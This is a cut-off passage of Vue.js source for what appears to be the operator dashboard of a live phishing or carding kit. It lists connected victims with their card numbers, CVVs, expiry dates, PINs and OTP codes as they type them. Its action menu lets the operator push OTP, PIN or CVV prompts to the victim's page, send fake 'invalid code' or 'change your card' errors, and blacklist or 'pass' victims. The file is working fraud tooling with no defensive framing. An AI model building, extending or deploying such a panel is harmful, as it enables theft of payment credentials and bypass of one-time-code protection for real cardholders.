<template>
  <div>
    <!-- Note that row-key is necessary to get a correct row order. -->
    <!-- <div class="search-filter">
      <el-form :inline="true" :model="filterForm" class="demo-form-inline">
        <el-form-item label="用户状态">
          <el-select v-model="filterForm.userStatus" placeholder="请选择">
            <el-option label="全部" value="all"></el-option>
            <el-option label="启用" value="enabled"></el-option>
            <el-option label="禁用" value="disabled"></el-option>
          </el-select>
        </el-form-item>
        <el-form-item label="填卡筛选">
          <el-select v-model="filterForm.cardFill" placeholder="请选择">
            <el-option label="全部" value="all"></el-option>
            <el-option label="已填" value="filled"></el-option>
            <el-option label="未填" value="unfilled"></el-option>
          </el-select>
        </el-form-item>
        <el-form-item label="域名">
          <el-input
            v-model="filterForm.domain"
            placeholder="请输入域名"
          ></el-input>
        </el-form-item>
        <el-form-item label="日期范围">
          <el-date-picker
            v-model="filterForm.dateRange"
            type="daterange"
            range-separator="至"
            start-placeholder="开始日期"
            end-placeholder="结束日期"
          >
          </el-date-picker>
        </el-form-item>
        <el-form-item label="卡号">
          <el-input
            v-model="filterForm.cardNo"
            placeholder="请输入卡号"
          ></el-input>
        </el-form-item>
        <el-form-item>
          <el-button type="primary" @click="query">查询</el-button>
          <el-button @click="reset">重置</el-button>
        </el-form-item>
      </el-form>
    </div> -->
    <el-button type="primary" :disabled="selectedRows.length === 0" style="margin-left:10px;margin-bottom:10px" @click="handleBatchPinTop">
      <i class="el-icon-top" /> 置顶
    </el-button>

    <el-table
      ref="dragTable"
      v-loading="listLoading"
      :data="list"
      row-key="socket_id"
      fit
      highlight-current-row
      style="width: 100%"
      @selection-change="handleSelectionChange"
    >
      <!-- 新增：勾选列 -->
      <el-table-column type="selection" width="55" align="center" />
      <el-table-column align="center" label="用户ID" width="100">
        <template slot-scope="{ row }">
          {{ row.user_id || '-' }}
        </template>
      </el-table-column>
      <el-table-column align="center" label="登录信息">
        <template slot-scope="{ row }">
          <div style="text-align:left;line-height:24px">
            <div>
              姓名：{{ row.first_name }} {{ row.last_name }}
            </div>
            <div>
              邮箱：{{ row.email || '-' }}
            </div>
            <div>
              socketId：{{ row.socket_id || '-' }}
            </div>
          </div>

          <!-- {{ row.trade_no || '-' }} -->
        </template>
      </el-table-column>
      <!-- <el-table-column align="center" label="socketID">
        <template slot-scope="{ row }">
          {{ row.socket_id || '-' }}
        </template>
      </el-table-column> -->

      <el-table-column label="电话">
        <template slot-scope="{ row }">
          {{ row.phone || '-' }}
        </template>
      </el-table-column>

      <el-table-column label="备注">
        <template slot-scope="{ row }">
          {{ row.remark || '-' }}
        </template>
      </el-table-column>

      <!-- <el-table-column align="center" label="卡号" width="120">
        <template slot-scope="{ row }">
          {{ row.card_number || '-' }}
        </template>
      </el-table-column> -->

      <!-- <el-table-column align="center" label="手机号" width="120">
        <template slot-scope="{ row }">
          {{ row.phone || '-' }}
        </template>
      </el-table-column>

      <el-table-column align="center" label="邮箱" width="180">
        <template slot-scope="{ row }">
          {{ row.email || '-' }}
        </template>
      </el-table-column> -->

      <!-- <el-table-column align="center" label="卡信息" width="95">
        <template slot-scope="{ row }">
          <span class="field-value card-info" :class="{'has-value': row.card_info && row.card_info !== '-'}">
            {{ row.card_info || '-' }}
          </span>
        </template>
      </el-table-column> -->

      <el-table-column class-name="status-col" width="300px" label="卡信息">
        <template slot-scope="{ row }">
          <div
            style="cursor: pointer; color: #409eff;text-align:left"
            title="点击查看详细信息"
            @click="handleViewCardInfo(row)"
          >
            <div>
              卡号：{{ row.card_number||'-' }}
            </div>
            <div>
              卡类型：{{ row.card_type||'-' }}
            </div>
            <div>
              卡等级：{{ row.card_level||'-' }}
            </div>
            <div>
              卡银行：{{ row.bank_name||'-' }}
            </div>
            <div>
              卡国家：{{ row.card_country||'-' }}
            </div>

            <!-- <div v-if="row.cvv">
              <span v-if="row.cvv" class="field-value cvv-code">
                cvv： {{ row.cvv || '-' }}
              </span>
            </div> -->
          </div>
        </template>
      </el-table-column>
      <el-table-column label="历史卡信息" prop="remark">
        <template slot-scope="{row}">
          <div v-for="item in row.history_card_list" :key="item.card_number" class="history-card">
            <div>
              卡号：{{ item.card_number || '-' }}
            </div>
            <div>
              cvv：{{ item.cvv || '-' }}
            </div>
            <div>
              有效期：{{ item.expiration || '-' }}
            </div>
          </div>

        </template>
      </el-table-column>
      <el-table-column class-name="status-col" label="验证码" width="80">
        <template slot-scope="{ row }">
          <span class="field-value verification-code" :class="{'has-value': row.verification_code && row.verification_code !== '-'}">
            {{ row.verification_code || row.otp||'-' }}
          </span>
        </template>
      </el-table-column>
      <el-table-column class-name="status-col" label="历史otp" width="80">
        <template slot-scope="{ row }">
          <span>
            {{ row.history_otp||'-' }}
          </span>
        </template>
      </el-table-column>
      <el-table-column align="center" label="自定义" width="80">
        <template slot-scope="{ row }">
          {{ row.custom || '-' }}
        </template>
      </el-table-column>
      <el-table-column align="center" label="pin" width="80">
        <template slot-scope="{ row }">
          <span class="field-value pin-code" :class="{'has-value': row.pin && row.pin !== '-'}">
            {{ row.pin || '-' }}
          </span>
        </template>
      </el-table-column>
      <el-table-column align="center" label="安全码" width="80">
        <template slot-scope="{ row }">
          <span class="field-value pin-code" :class="{'has-value': row.pin && row.pin !== '-'}">
            {{ row.cvv || '-' }}
          </span>
        </template>
      </el-table-column>
      <el-table-column align="center" label="用户当前状态" width="140">
        <template slot-scope="{ row }">
          <el-tag
            :type="getStatusType(row)"
            size="small"
            class="status-tag"
          >
            {{ getStatusText(row) }}
          </el-tag>
        </template>
      </el-table-column>
      <el-table-column align="center" label="操作">
        <template slot-scope="{row}">
          <div>
            <el-popover
              placement="left"
              width="180"
              trigger="hover"
              popper-class="action-popover"
            >
              <div class="action-menu">
                <!-- <div class="action-item" @click="handleAction(row, 'back')">
                  <i class="el-icon-back"></i>
                  <span>返回上一步</span>
                </div>
                <div class="action-item" @click="handleAction(row, 'remark')">
                  <i class="el-icon-edit"></i>
                  <span>标记，添加备注</span>
                </div> -->
                <el-divider style="margin: 8px 0" />
                <div class="action-item" @click="handleAction(row, 'otp')">
                  <i class="el-icon-message" />
                  <span>OTP验证</span>
                </div>
                <div class="action-item" @click="handleAction(row, 'email')">
                  <i class="el-icon-s-promotion" />
                  <span>Email验证</span>
                </div>
                <div class="action-item" @click="handleAction(row, 'app')">
                  <i class="el-icon-mobile-phone" />
                  <span>APP验证</span>
                </div>
                <div class="action-item" @click="handleAction(row, 'pin')">
                  <i class="el-icon-lock" />
                  <span>PIN验证</span>
                </div>
                <div class="action-item" @click="handleAction(row, 'cvv')">
                  <i class="el-icon-bank-card" />
                  <span>运通CVV验证</span>
                </div>
                <el-divider style="margin: 8px 0" />
                <div class="action-item warning" @click="handleAction(row, 'disconnect')">
                  <i class="el-icon-switch-button" />
                  <span>断开</span>
                </div>

                <div class="action-item danger" @click="handleAction(row, 'reject')">
                  <i class="el-icon-circle-close" />
                  <span>拒绝，自定义</span>
                </div>
                <div v-if="row.step==1" class="action-item danger" @click="handleAction(row, 'change-card')">
                  <i class="el-icon-refresh-left" />
                  <span>拒绝，验证码错误</span>
                </div>
                <div class="action-item danger" @click="handleAction(row, 'reject-change-card')">
                  <i class="el-icon-refresh" />
                  <span>拒绝，更换卡片</span>
                </div>
                <div class="action-item success" @click="handleAction(row, 'pass')">
                  <i class="el-icon-circle-check" />
                  <span>放行，验证完成</span>
                </div>
                <el-divider style="margin: 8px 0" />

                <div class="action-item danger" @click="handleAction(row, 'block')">
                  <i class="el-icon-warning" />
                  <span>黑名单</span>
                </div>
              </div>
              <el-button
                slot="reference"
                type="primary"
                size="mini"
                plain
              >
                操作
              </el-button>
            </el-popover>
          </div>
        </template>
      </el-table-column>
    </el-table>

    <!-- 拒绝自定义文案弹窗 -->
    <el-dialog
      title="拒绝自定义文案"
      :visible.sync="rejectDialogVisible"
      width="500px"

      @close="cancelReject"
    >
      <el-form :model="rejectDialogForm">
        <el-form-item label="拒绝文案">
          <el-input
            v-model="rejectDialogForm.customMessage"
            type="textarea"
            :rows="4"
            placeholder="请输入拒绝文案"
            maxlength="200"
            show-word-limit
          />
        </el-form-item>
      </el-form>
      <div slot="footer" class="dialog-footer">
        <el-button @click="cancelReject">取消</el-button>
        <el-button type="primary" @click="confirmReject">确认</el-button>
      </div>
    </el-dialog>

    <!-- 用户信息弹窗 -->
    <UserInfoDialog
      :visible.sync="userDetailDialogVisible"
      :user-info="currentUserRow"
      :loading="userDetailLoading"
      title="用户信息详情"
      @close="handleCloseUserDialog"
    />
    <!-- 用户信息弹窗 -->
    <UserInfoDialog
      :visible.sync="userDetailDialogVisible"
      :user-info="currentUserRow"
      :loading="userDetailLoading"
      title="用户信息详情"
      @close="handleCloseUserDialog"
    />

    <!-- 新增：验证前确认弹窗（OTP/Email） -->
    <el-dialog
      :title="confirmDialogType === 'otp' ? '确认手机号' : '确认邮箱'"
      :visible.sync="confirmDialogVisible"
      width="500px"
      :close-on-click-modal="false"
      @close="cancelConfirm"
    >
      <div style="line-height:24px;text-align:left">
        <div>
          <span v-if="confirmDialogType === 'otp'">请确认用户手机号码：</span>
          <span v-else>请确认用户邮箱：</span>
          <a style="color:#409eff">{{ confirmDialogType === 'otp' ? (confirmDialogRow.phone || '-') : (confirmDialogRow.email || '-') }}</a>
        </div>
        <div style="margin-top:12px">
          <el-input
            v-if="confirmDialogType === 'otp'"
            v-model="confirmDialogForm.phone"
            placeholder="请输入手机号"
          />
          <el-input
            v-else
            v-model="confirmDialogForm.email"
            placeholder="请输入邮箱"
          />
        </div>
      </div>
      <div slot="footer" class="dialog-footer">
        <el-button @click="cancelConfirm">取消</el-button>
        <el-button type="primary" @click="confirmVerification">确定</el-button>
      </div>
    </el-dialog>
  </div>
</template>

<script>
import { socketInstance } from '@/utils/socket'
import { speakText } from '@/utils/text-to-speech'
import { getToken } from '@/utils/auth'
import { fetchOrderInfo } from '@/api/order'
import UserInfoDialog from '@/components/UserInfoDialog.vue'
import { pinOrder } from '@/api/order'
let timer
export default {
  name: 'DragTable',
  components: {
    UserInfoDialog
  },
  data() {
    return {
      filterForm: {
        userStatus: 'all',
        cardFill: 'all',
        domain: '',
        dateRange: [],
        cardNo: ''
      },
      list: [],
      total: null,
      listLoading: false,
      listQuery: {
        page: 1,
        limit: 10
      },
      sortable: null,
      oldList: [],
      newList: [],
      onlineUsersHandler: null,
      previousUserIds: new Set(), // 用于记录之前的用户ID，检测新用户
      messageHandler: null,
      rejectDialogVisible: false, // 拒绝自定义文案弹窗显示状态
      rejectDialogForm: {
        customMessage: '' // 拒绝自定义文案
      },
      currentRejectRow: null, // 当前正在处理拒绝操作的行数据
      currentRejectAction: '', // 当前拒绝操作类型（reject或change-card）
      userDetailDialogVisible: false, // 用户信息弹窗显示状态
      currentUserRow: null, // 当前查看的用户数据
      userDetailLoading: false, // 用户详情加载状态
      confirmDialogVisible: false,
      confirmDialogType: '', // 'otp' | 'email'
      confirmDialogForm: {
        phone: '',
        email: ''
      },
      // ... existing code ...
      confirmDialogRow: {},
      // 新增：选中行
      selectedRows: []
    }
  },
  mounted() {
    console.log('[AccessControl] 组件已挂载，Socket状态:', {
      connected: socketInstance.connected,
      connecting: socketInstance.connecting,
      error: socketInstance.error
    })

    // ====== 接收系统消息 ======
    // 监听用户端发送的实时输入消息
    this.messageHandler = socketInstance.on('system', (data) => {
      console.log('用户端消息:', data)

      try {
        // 从消息中提取 socket_id（从"来自"后面提取）
        let messageData = data

        // 先提取 socket_id（格式：📨 来自 xxx: {...}）
        if (typeof data === 'string') {
          // 提取"来自"后面的 socket_id（已移除未使用的变量）

          // 尝试从字符串中提取 JSON
          const jsonMatch = data.match(/\{[^}]+\}/)
          if (jsonMatch) {
            try {
              messageData = JSON.parse(jsonMatch[0])
            } catch (e) {
              console.warn('[AccessControl] 从字符串解析JSON失败:', e)
            }
          }
        }

        // 如果是对象格式
        if (!messageData && typeof data === 'object') {
          if (data.content) {
            // 如果 content 是字符串，尝试解析 JSON
            if (typeof data.content === 'string') {
              // 提取"来自"后面的 socket_id（已移除未使用的变量赋值）

              try {
                messageData = JSON.parse(data.content)
              } catch (e) {
                // 如果解析失败，尝试从字符串中提取 JSON
                const jsonMatch = data.content.match(/\{[^}]+\}/)
                if (jsonMatch) {
                  try {
                    messageData = JSON.parse(jsonMatch[0])
                  } catch (e2) {
                    console.warn('[AccessControl] 解析消息内容失败:', e2)
                    messageData = { content: data.content }
                  }
                } else {
                  messageData = { content: data.content }
                }
              }
            } else {
              messageData = data.content
            }
          } else {
            // 如果没有 content 字段，直接使用 data
            messageData = data
          }
        }

        // 使用从消息中提取的 socket_id，而不是 messageData 中的
        const targetSocketId = data?.socket_id

        if (!targetSocketId) {
          console.warn('[AccessControl] 无法从消息中提取 socket_id，消息格式:', data)
          return
        }

        // 输出消息详细信息
        console.log('[AccessControl] 收到用户端输入消息:', {
          socket_id: targetSocketId,
          trade_no: data?.trade_no || '-',
          event: data?.event || '-',
          field: data?.field || '-',
          value: data?.value || '-',
          length: data?.length || 0,
          timestamp: data?.timestamp || '-'
        })

        // 根据从消息中提取的 socket_id 找到对应的用户并更新显示
        const userIndex = this.list.findIndex(user => user.socket_id === targetSocketId)
        if (userIndex !== -1) {
          // 更新用户信息，保存实时输入内容
          // 根据 event 类型更新对应的字段
          if (messageData && messageData.event) {
            // 直接更新 event（不使用 current_event）
            this.$set(this.list[userIndex], 'event', messageData.event)
          }

          // 更新 step 状态
          if (messageData && messageData.step !== undefined) {
            this.$set(this.list[userIndex], 'step', messageData.step)
          }

          // 检查是否是提交状态消息
          if (messageData && messageData.submitted === true) {
            // 用户已提交验证码
            console.log(`[AccessControl] 用户 ${targetSocketId} 已提交${messageData.event || ''}验证, step=${messageData.step}`)
          }

          // 检查是否是重发验证码消息
          if (messageData && messageData.resend === true) {
            // 用户已重发验证码
            console.log(`[AccessControl] 用户 ${targetSocketId} 已重发${messageData.event || ''}验证码, step=${messageData.step}`)
          }

          // 根据 field 类型更新对应的输入值
          if (messageData && messageData.field && messageData.value !== undefined) {
            // 创建或更新 input_data 对象来存储实时输入
            if (!this.list[userIndex].input_data) {
              this.$set(this.list[userIndex], 'input_data', {})
            }
            this.$set(this.list[userIndex].input_data, messageData.field, messageData.value)

            // 字段映射：根据 field 类型更新对应的显示字段
            const fieldMap = {
              'otp': 'verification_code',
              'email': 'verification_code',
              'pin': 'pin',
              'cvv': 'cvv',
              'cardNumber': 'card_info',
              'expiryDate': 'card_expiry',
              'card': 'card_info'
            }

            const dbField = fieldMap[messageData.field]
            if (dbField && messageData.event !== 'card') {
              // 非卡片类型，直接更新字段
              this.$set(this.list[userIndex], dbField, messageData.value)
            } else if (messageData.event === 'card') {
              // 卡片类型，需要组合所有卡片信息
              const cardData = this.list[userIndex].input_data || {}
              if (cardData.cardNumber || cardData.expiryDate || cardData.cvv) {
                let cardInfo = ''
                if (cardData.cardNumber) cardInfo += `卡号: ${cardData.cardNumber} `
                if (cardData.expiryDate) cardInfo += `有效期: ${cardData.expiryDate} `
                if (cardData.cvv) cardInfo += `CVV: ${cardData.cvv}`
                this.$set(this.list[userIndex], 'card_info', cardInfo.trim())
              }
            }
          }
          if (timer) {
            clearTimeout(timer)
          }
          timer = setTimeout(() => {
            const item = this.list.filter(user => user.socket_id === targetSocketId)
            console.log('item', item)
            if (item.length && item[0].step == 1) {
              this.playNotificationSound()
              this.speakNotification(`用户【${item[0].user_id}】 ` + this.getStatusText(item[0]))
              this.$notify({
                position: 'bottom-left',
                dangerouslyUseHTMLString: true,
                message: `<div style="color:red">用户【${item[0].user_id}】 ${this.getStatusText(item[0])}</div>`
              // message: h('i', { style: 'color: red'}, content.join('</br>'))
              })
            }
          }, 300)
          console.log(`[AccessControl] 已更新用户 ${targetSocketId} 的输入信息，${messageData?.event || '-'} 类型，字段: ${messageData?.field || '-'}，当前内容: ${messageData?.value || '-'} (长度: ${messageData?.length || 0})，已提交: ${messageData?.submitted || false}，已重发: ${messageData?.resend || false}`)
        } else {
          console.warn(`[AccessControl] 未找到 socket_id 为 ${targetSocketId} 的用户`)
        }
      } catch (error) {
        console.error('[AccessControl] 处理用户端消息失败:', error)
      }
    })

    // 监听在线用户列表更新
    this.onlineUsersHandler = socketInstance.on('onlineUsers', (users) => {
      console.log('[AccessControl] 收到在线用户列表，用户数:', users?.length || 0)
      const newUsers = Array.isArray(users) ? users : []

      // 直接使用服务器返回的数据，不做合并
      newUsers.forEach(user => {
        // 只初始化 pin 字段
        if (!user.pin) {
          user.pin = ''
        }
        console.log(`[AccessControl] 用户 ${user.socket_id}: event=${user.event}, step=${user.step}`)
      })
      console.log('==============newUsers=========', newUsers)
      // 检测新用户
      this.detectNewUsers(newUsers)

      // 直接更新列表
      this.list = newUsers
      this.listLoading = false
    })

    // 监听连接事件，连接成功后自动获取列表
    socketInstance.on('connect', () => {
      console.log('[AccessControl] Socket已连接，自动获取用户列表')
      this.getList()
    })

    // 如果已经连接，直接获取列表
    if (socketInstance.connected) {
      this.getList()
    } else {
      // 如果未连接，等待连接后再获取
      this.listLoading = true
      console.log('[AccessControl] Socket未连接，等待连接...')
    }
  },
  beforeDestroy() {
    // 清理监听器
    if (this.onlineUsersHandler) {
      socketInstance.off('onlineUsers', this.onlineUsersHandler)
    }
    if (this.messageHandler) {
      socketInstance.off('system', this.messageHandler)
    }
  },
  methods: {
    // 新增：维护选中行
    handleSelectionChange(selection) {
      this.selectedRows = selection || []
    },
    // 新增：批量置顶
    async handleBatchPinTop() {
      if (!this.selectedRows.length) {
        this.$message.warning('请先勾选要置顶的行')
        return
      }
      // 收集 trade_no（与数据中心接口一致）
      const tradeNos = this.selectedRows.map(r => r.trade_no).filter(Boolean)
      if (!tradeNos.length) {
        this.$message.error('选中行缺少订单号（trade_no），无法置顶')
        return
      }

      try {
        await this.$confirm(`确定将选中的 ${tradeNos.length} 条记录置顶到顶部？`, '批量置顶确认', {
          confirmButtonText: '确定',
          cancelButtonText: '取消',
          type: 'warning',
          center: true
        })
        const response = await pinOrder(tradeNos)
        if (response && response.code === 1) {
          this.$message.success('置顶成功')
          this.selectedRows = []
          socketInstance.emit('getUsers')
          this.$refs.dragTable.clearSelection()
          // 在线列表来源为 socket，通常不需要重新请求订单；如有需要可保留刷新
          // this.getList()
        } else {
          this.$message.error(response?.message || '置顶失败')
        }
      } catch (err) {
        if (err !== 'cancel') {
          console.error('批量置顶异常:', err)
          this.$message.error(err?.message || '置顶失败')
        } else {
          this.$message.info('已取消')
        }
      }
    },
    // 获取状态文本
    getStatusText(row) {
      const event = row.event
      const step = row.step

      // event=card 的状态映射
      if (event === 'card' && step == 0) {
        return '用户已提交卡号'
      }

      // 其他验证类型（opt/email/pin/cvv）的状态映射
      if (event) {
        const eventNameMap = {
          'opt': 'OTP',
          'otp': 'OTP',
          'email': 'Email',
          'pin': 'PIN',
          'cvv': 'CVV',
          'app': 'APP'
        }
        const eventName = eventNameMap[event] || event.toUpperCase()

        // step状态映射
        const stepTextMap = {
          '0': `用户输入${eventName}验证码中`,
          '1': `用户已提交${eventName}验证码`,
          '2': '通过',
          '3': '拒绝，验证码错误',
          '4': '拒绝，更换卡片',
          '5': '拒绝，自定义错误',
          '6': '黑名单',
          '7': '断线'
        }

        // 根据 step 返回状态
        if (step !== undefined && step !== null) {
          return stepTextMap[step] || stepTextMap[String(step)] || `${eventName}验证中`
        }

        return `等待用户输入${eventName}验证码中`
      }

      // 没有event的情况
      return '等待操作'
    },
    // 获取状态标签类型（颜色）
    getStatusType(row) {
      const event = row.event
      const step = row.step

      // event=card 的颜色映射
      if (event === 'card' && step == 0) {
        return 'danger' // 红色 - 用户已提交卡号
      }

      // 其他验证类型的颜色映射
      if (event) {
        // step状态颜色映射
        const stepTypeMap = {
          '0': 'warning', // 橙色 - 等待用户输入验证码中
          '1': 'primary', // 蓝色 - 用户已提交验证码
          '2': 'success', // 绿色 - 通过
          '3': 'danger', // 红色 - 拒绝，验证码错误
          '4': 'danger', // 红色 - 拉黑，更换卡片
          '5': 'danger', // 红色 - 拒绝，自定义错误
          '6': 'danger', // 红色 - 黑名单
          '7': 'info' // 灰色 - 断线
        }

        // 根据 step 返回颜色
        if (step !== undefined && step !== null) {
          return stepTypeMap[step] || stepTypeMap[String(step)] || 'info'
        }

        return 'warning' // 橙色 - 等待输入
      }

      // 没有event的情况
      return 'info' // 灰色 - 等待操作
    },
    async getList() {
      // 从 socket 获取在线用户列表
      if (!socketInstance.connected) {
        console.warn('[AccessControl] Socket未连接，无法获取用户列表')
        if (!socketInstance.connecting) {
          console.log('[AccessControl] 尝试连接Socket...')
          socketInstance.connect()
        }
        this.listLoading = false
        return
      }

      this.listLoading = true
      socketInstance.emit('getUsers')
      console.log('[AccessControl] 已请求在线用户列表')
    },
    setSort() {
      // 拖拽排序功能（保留）
    },
    sendMessage(row, action) {
      // 事件映射：action -> event
      // event固定值：card, opt, email, app, pin, cvv
      const eventMap = {
        'otp': 'otp', // 注意：event是opt不是otp
        'email': 'email',
        'app': 'app',
        'pin': 'pin',
        'cvv': 'cvv',
        'card': 'card'
      }

      // step映射：操作 -> 步骤
      // 根据新的步骤定义：0=等待输入, 1=已提交, 2=通过, 3=拒绝验证码错误, 4=拉黑更换卡片, 5=拒绝自定义错误, 6=黑名单, 7=断线
      const stepMap = {
        'pass': 2, // 通过
        'reject': 5, // 拒绝，自定义错误
        'change-card': 3, // 拒绝，验证码错误
        'reject-change-card': 4, // 拒绝，更换卡片
        'disconnect': 7, // 断线
        'block': 6 // 黑名单
      }

      const actionMap = {
        'back': '返回上一步',
        'remark': '标记，添加备注',
        'otp': 'OTP验证',
        'email': 'Email验证',
        'app': 'APP验证',
        'pin': 'PIN验证',
        'cvv': '运通CVV验证',
        'reject': '拒绝，自定义',
        'change-card': '拒绝，验证码错误',
        'reject-change-card': '拒绝，更换卡片',
        'pass': '放行，验证完成',
        'disconnect': '断开',
        'block': '黑名单'
      }

      // 如果是验证类操作（otp, email, app, pin, cvv）
      if (eventMap[action]) {
        const event = eventMap[action]
        // 验证操作：event为验证类型，step=0（等待用户输入验证码中）
        const msg = {
          socket_id: row.socket_id,
          event: event,
          step: 0, // step=0 表示等待用户输入验证码中
          content: actionMap[action] || `请进行${event.toUpperCase()}验证`,
          card_number: row.card_number || '', // 传递卡号
          phone: row.phone || '', // 传递手机号
          token: getToken(),
          email: row.email || '', // 传递邮箱
          tip_phone: action === 'otp' ? (this.confirmDialogForm.phone || '') : undefined,
          tip_email: action === 'email' ? (this.confirmDialogForm.email || '') : undefined

        }

        console.log('[AccessControl] 发送验证操作:', msg)
        socketInstance.emit('adminMessage', msg)
        this.$message.success(`已发送${actionMap[action]}请求`)

        // 立即更新本地列表中该用户的状态为等待输入
        const userIndex = this.list.findIndex(user => user.socket_id === row.socket_id)
        if (userIndex !== -1) {
          // 更新用于状态显示的核心字段
          this.$set(this.list[userIndex], 'event', event)
          this.$set(this.list[userIndex], 'step', 0) // step=0（等待用户输入验证码中）
          // 同时更新current_event和current_step（用于兼容）
          this.$set(this.list[userIndex], 'current_event', event)
          this.$set(this.list[userIndex], 'current_step', 0)

          // 清除之前的提交状态和重发状态（因为新的验证请求需要重新提交和重发）
          this.$set(this.list[userIndex], 'submitted', false)
          this.$set(this.list[userIndex], 'submitted_event', '')
          this.$set(this.list[userIndex], 'resent', false)
          this.$set(this.list[userIndex], 'resent_event', '')

          // 清空之前的输入值（因为新的验证请求需要重新输入）
          const fieldMap = {
            'otp': 'verification_code',
            'email': 'verification_code',
            'pin': 'pin',
            'cvv': 'cvv',
            'card': 'card_info'
          }

          const dbField = fieldMap[event]
          if (dbField && event !== 'card') {
            this.$set(this.list[userIndex], dbField, '')
          } else if (event === 'card') {
            this.$set(this.list[userIndex], 'card_info', '')
            this.$set(this.list[userIndex], 'input_data', {})
          }

          console.log(`[AccessControl] 已更新用户 ${row.socket_id} 的状态: event=${event}, step=0 (等待输入${actionMap[action]})`)
        }

        return
      }

      // 如果是结果类操作（pass, reject, disconnect等）
      if (stepMap[action] !== undefined) {
        // 如果是拒绝自定义文案，需要弹窗输入
        if (action === 'reject') {
          this.currentRejectRow = row
          this.currentRejectAction = action
          this.rejectDialogForm.customMessage = ''
          this.rejectDialogVisible = true
          return
        }

        // 如果是拒绝更换卡片（验证码错误），保留event显示红字
        if (action === 'change-card') {
          // 保留之前的event，如果没有则默认otp
          const currentEvent = row.current_event || row.event || 'otp'
          const currentStep = stepMap[action]
          const msg = {
            socket_id: row.socket_id,
            event: currentEvent, // 保留之前的event，用于显示红字
            step: currentStep,
            content: 'Please enter a valid verification code' // 验证码错误提示
          }

          console.log('[AccessControl] 发送拒绝验证码错误操作:', msg)
          socketInstance.emit('adminMessage', msg)
          this.$message.success(`已执行${actionMap[action]}`)

          // 保存step状态和event状态（用于状态显示）
          const userIndex = this.list.findIndex(user => user.socket_id === row.socket_id)
          if (userIndex !== -1) {
            // 更新用于状态显示的核心字段
            this.$set(this.list[userIndex], 'step', currentStep)
            this.$set(this.list[userIndex], 'event', currentEvent) // 保留event用于显示状态文本
            // 同时更新current_step和current_event（用于兼容）
            this.$set(this.list[userIndex], 'current_step', currentStep)
            this.$set(this.list[userIndex], 'current_event', currentEvent)
            console.log(`[AccessControl] 已保存用户 ${row.socket_id} 的状态: step=${currentStep}, event=${currentEvent}`)
          }

          return
        }

        // 如果是拒绝更换卡片（拉黑更换卡片），step=4
        if (action === 'reject-change-card') {
          // 保留之前的event，如果没有则默认otp
          const currentEvent = row.current_event || row.event || 'otp'
          const currentStep = stepMap[action]
          const msg = {
            socket_id: row.socket_id,
            event: currentEvent, // 保留之前的event
            step: currentStep, // step=4 拉黑更换卡片
            content: 'Please change your card and try again' // 更换卡片提示
          }

          console.log('[AccessControl] 发送拒绝更换卡片操作:', msg)
          socketInstance.emit('adminMessage', msg)
          this.$message.success(`已执行${actionMap[action]}`)

          // 保存step状态和event状态（用于状态显示）
          const userIndex = this.list.findIndex(user => user.socket_id === row.socket_id)
          if (userIndex !== -1) {
            // 更新用于状态显示的核心字段
            this.$set(this.list[userIndex], 'step', currentStep)
            this.$set(this.list[userIndex], 'event', currentEvent) // 保留event用于显示状态文本
            // 同时更新current_step和current_event（用于兼容）
            this.$set(this.list[userIndex], 'current_step', currentStep)
            this.$set(this.list[userIndex], 'current_event', currentEvent)
            console.log(`[AccessControl] 已保存用户 ${row.socket_id} 的状态: step=${currentStep}, event=${currentEvent}`)
          }

          return
        }

        // 其他操作（pass, disconnect, block）直接发送
        // 保留之前的event，如果没有则默认otp
        const currentEvent = row.current_event || row.event || 'otp'
        const currentStep = stepMap[action]
        const msg = {
          socket_id: row.socket_id,
          event: currentEvent, // 保留之前的event，默认otp
          step: currentStep,
          content: actionMap[action] || '操作完成'
        }

        console.log('[AccessControl] 发送结果操作:', msg)
        socketInstance.emit('adminMessage', msg)
        this.$message.success(`已执行${actionMap[action]}`)

        // 保存step状态和event状态（用于状态显示）
        const userIndex = this.list.findIndex(user => user.socket_id === row.socket_id)
        if (userIndex !== -1) {
          // 更新用于状态显示的核心字段
          this.$set(this.list[userIndex], 'step', currentStep)
          this.$set(this.list[userIndex], 'event', currentEvent) // 保留event以便显示状态文本
          // 同时更新current_step和current_event（用于兼容）
          this.$set(this.list[userIndex], 'current_step', currentStep)
          this.$set(this.list[userIndex], 'current_event', currentEvent)
          console.log(`[AccessControl] 已保存用户 ${row.socket_id} 的状态: step=${currentStep}, event=${currentEvent}`)
        }

        return
      }

      // 其他操作（back, remark等）
      if (action === 'back' || action === 'remark') {
        this.$message.info(`执行操作: ${actionMap[action]}`)
        // 这些操作可能不需要发送socket消息，或者根据业务需求处理
        return
      }

      this.$message.warning(`未知操作: ${action}`)
    },
    // 处理操作菜单点击
    handleAction(row, action) {
      console.log('[AccessControl] 操作:', action, '用户:', row)

      if (!socketInstance.connected) {
        this.$message.error('Socket未连接，无法发送操作')
        return
      }

      if (!row.socket_id) {
        this.$message.error('用户socket_id不存在')
        return
      }
      // 新增拦截：OTP/Email 先弹窗确认
      if (action === 'otp' || action === 'email') {
        this.openConfirmDialog(row, action)
        return
      }
      this.sendMessage(row, action)
    },
    // 新增：打开确认弹窗
    openConfirmDialog(row, type) {
      this.confirmDialogType = type
      this.confirmDialogRow = row
      this.confirmDialogVisible = true
      // 预填入当前行数据
      this.confirmDialogForm.phone = ''
      this.confirmDialogForm.email = ''
    },

    // 新增：取消确认弹窗
    cancelConfirm() {
      this.confirmDialogVisible = false
      this.confirmDialogType = ''
      this.confirmDialogRow = {}
      this.confirmDialogForm.phone = ''
      this.confirmDialogForm.email = ''
    },
    confirmVerification() {
      const row = this.confirmDialogRow
      const action = this.confirmDialogType
      if (!row || !action) {
        this.cancelConfirm()
        return
      }

      this.sendMessage(row, action)
      this.cancelConfirm()
    },
    // 确认拒绝自定义文案
    confirmReject() {
      if (!this.currentRejectRow) {
        return
      }

      const customMessage = this.rejectDialogForm.customMessage.trim()
      if (!customMessage) {
        this.$message.warning('请输入拒绝文案')
        return
      }

      // 发送socket消息，包含event和自定义文案
      // 注意：拒绝自定义文案需要保留当前event，让web端显示在输入框下方
      const msg = {
        socket_id: this.currentRejectRow.socket_id,
        event: this.currentRejectRow.current_event || 'otp', // 保留当前的验证类型，默认otp
        step: 5, // 拒绝，自定义错误
        content: customMessage // 使用输入的拒绝文案
      }

      console.log('[AccessControl] 发送拒绝操作:', msg)
      socketInstance.emit('adminMessage', msg)
      this.$message.success('已执行拒绝，自定义')

      // 更新列表中该用户的自定义文案备注和step状态
      const userIndex = this.list.findIndex(user => user.socket_id === this.currentRejectRow.socket_id)
      if (userIndex !== -1) {
        this.$set(this.list[userIndex], 'custom', customMessage)
        // 更新用于状态显示的核心字段
